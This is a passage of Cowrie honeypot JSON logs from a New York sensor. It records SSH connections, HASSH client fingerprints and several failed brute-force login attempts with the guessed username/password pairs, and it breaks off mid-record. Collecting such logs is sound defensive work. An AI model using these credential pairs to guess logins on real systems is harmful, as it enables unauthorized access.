{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:41:37.889946Z","src_ip":"27.71.230.31","session":"9d53ad631a92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:41:37.893821Z","src_ip":"27.71.230.31","session":"9d53ad631a92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":47426,"dst_ip":"10.17.0.5","dst_port":22,"session":"81cb686ee121","protocol":"ssh","message":"New connection: 165.154.137.186:47426 (10.17.0.5:22) [session: 81cb686ee121]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:41:38.555741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:41:38.560045Z","src_ip":"165.154.137.186","session":"81cb686ee121","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:41:38.825845Z","src_ip":"165.154.137.186","session":"81cb686ee121","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd","message":"login attempt [ubuntu/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:41:39.623419Z","src_ip":"165.154.137.186","session":"81cb686ee121","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:41:40.893807Z","src_ip":"165.154.137.186","session":"81cb686ee121","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!password!1!","message":"login attempt [root/!password!1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:41:42.310357Z","src_ip":"27.71.230.31","session":"9d53ad631a92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:41:43.767295Z","src_ip":"27.71.230.31","session":"9d53ad631a92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.138970613479614,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:41:43.973087Z","src_ip":"128.199.8.54","session":"d5f5d5700fb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":53372,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8fefa7c15b1","protocol":"ssh","message":"New connection: 103.27.238.116:53372 (159.203.135.109:22) [session: f8fefa7c15b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:42:08.492727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:42:08.496990Z","src_ip":"103.27.238.116","session":"f8fefa7c15b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:42:08.754289Z","src_ip":"103.27.238.116","session":"f8fefa7c15b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:42:09.528746Z","src_ip":"103.27.238.116","session":"f8fefa7c15b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:42:10.787718Z","src_ip":"103.27.238.116","session":"f8fefa7c15b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":34430,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa9f20cf7b69","protocol":"ssh","message":"New connection: 165.154.137.186:34430 (10.17.0.5:22) [session: aa9f20cf7b69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:42:15.162292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:42:15.166746Z","src_ip":"165.154.137.186","session":"aa9f20cf7b69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:42:15.432384Z","src_ip":"165.154.137.186","session":"aa9f20cf7b69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vm","password":"vm","message":"login attempt [vm/vm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:42:16.230391Z","src_ip":"165.154.137.186","session":"aa9f20cf7b69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:42:17.515660Z","src_ip":"165.154.137.186","session":"aa9f20cf7b69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.148.249.2","src_port":46226,"dst_ip":"10.17.0.5","dst_port":22,"session":"e94fcb11cbde","protocol":"ssh","message":"New connection: 38.148.249.2:46226 (10.17.0.5:22) [session: e94fcb11cbde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:42:25.195789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:42:25.203185Z","src_ip":"38.148.249.2","session":"e94fcb11cbde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:42:25.273422Z","src_ip":"38.148.249.2","session":"e94fcb11cbde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ghost","password":"ghost","message":"login attempt [ghost/ghost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:42:25.586748Z","src_ip":"38.148.249.2","session":"e94fcb11cbde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":60434,"dst_ip":"10.17.0.5","dst_port":22,"session":"638090a3aea1","protocol":"ssh","message":"New connection: 165.154.137.186:60434 (10.17.0.5:22) [session: 638090a3aea1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:42:26.455168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:42:26.460039Z","src_ip":"165.154.137.186","session":"638090a3aea1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:42:26.658091Z","src_ip":"38.148.249.2","session":"e94fcb11cbde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:42:26.721417Z","src_ip":"165.154.137.186","session":"638090a3aea1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"default","message":"login attempt [default/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:42:27.507028Z","src_ip":"165.154.137.186","session":"638090a3aea1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.12.68","src_port":44898,"dst_ip":"10.17.0.5","dst_port":22,"session":"5199cbd8c5e6","protocol":"ssh","message":"New connection: 43.153.12.68:44898 (10.17.0.5:22) [session: 5199cbd8c5e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:42:28.148868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:42:28.152806Z","src_ip":"43.153.12.68","session":"5199cbd8c5e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:42:28.225147Z","src_ip":"43.153.12.68","session":"5199cbd8c5e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root2025!@","message":"login attempt [root/Root2025!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:42:28.538771Z","src_ip":"43.153.12.68","session":"5199cbd8c5e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:42:28.771767Z","src_ip":"165.154.137.186","session":"638090a3aea1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:42:29.614439Z","src_ip":"43.153.12.68","session":"5199cbd8c5e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":35660,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5c6b524e96b","protocol":"ssh","message":"New connection: 165.154.137.186:35660 (10.17.0.5:22) [session: c5c6b524e96b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:42:49.945456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:42:49.949610Z","src_ip":"165.154.137.186","session":"c5c6b524e96b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:42:50.225725Z","src_ip":"165.154.137.186","session":"c5c6b524e96b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql@1234","message":"login attempt [mysql/mysql@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:42:51.005191Z","src_ip":"165.154.137.186","session":"c5c6b524e96b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.80.65.140","src_port":46497,"dst_ip":"10.17.0.5","dst_port":22,"session":"c156590cb3f3","protocol":"ssh","message":"New connection: 170.80.65.140:46497 (10.17.0.5:22) [session: c156590cb3f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:42:51.928217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:42:51.931827Z","src_ip":"170.80.65.140","session":"c156590cb3f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com",